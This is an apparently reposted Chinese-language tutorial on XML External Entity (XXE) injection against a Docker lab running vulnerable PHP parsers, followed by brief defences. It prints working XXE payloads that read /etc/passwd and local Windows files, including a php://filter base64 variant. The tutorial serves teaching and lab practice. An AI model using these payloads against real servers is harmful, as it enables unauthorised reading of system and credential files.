XXE漏洞利用
Posted 王小帥
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞利用相关的知识,希望对你有一定的参考价值。
XXE(XML外部实体注入)
漏洞介绍
XXE(XMLExternal Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
漏洞复现
打开靶机:
docker-compose up -d
docker ps
主机访问:
可以看到,发现libxml版本低于2.9.0,所以存在XXE漏洞;
该靶机目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php;
我们看下源码:
dom.php
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
可以看到是从字符串加载xml文档,可以触发XXE漏洞。
我们访问 http://192.168.41.138:8080/dom.php,抓包,并加入下列xml代码,读取用户名信息。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>
可以看到,已经爆出来了。
SimpleXMLElement.php
源码:
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
可以看到源码中,SimpleXMLElement类标识xml文档中的元素,也可以XXE,我们使用相同的方法,也可以利用。
simplexml_load_string.php
源码:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
源码中,接受格式正确的XML字符串,并将其作为对象返回,只要我们传入的xml注入格式无误,也可以进行XXE攻击,如下:
Linux:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>
这里我使用的linux搭建的环境,如果服务器是windows系统的话,我们利用如下方式进行攻击:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "C:/Users/mi/Desktop/eg.txt">
]>
<test>
<name>&xxe;</name>
</test>
用file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "file:///C:/Users/mi/Desktop/eg.txt">
]>
<test>
<name>&xxe;</name>
</test>
用base64编码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Users/mi/Desktop/eg.txt">
]>
<test>
<name>&xxe;</name>
</test>
别忘了关闭环境:
docker-compose stop
漏洞防御
- 禁止使用外部实体,例如libxml_disable_entity_loader (true) 。
- 过滤用户提交的XML数据,防止出现非法内容。
- 升级libxml库版本。
相关文章:XXE漏洞原理
以上是关于XXE漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章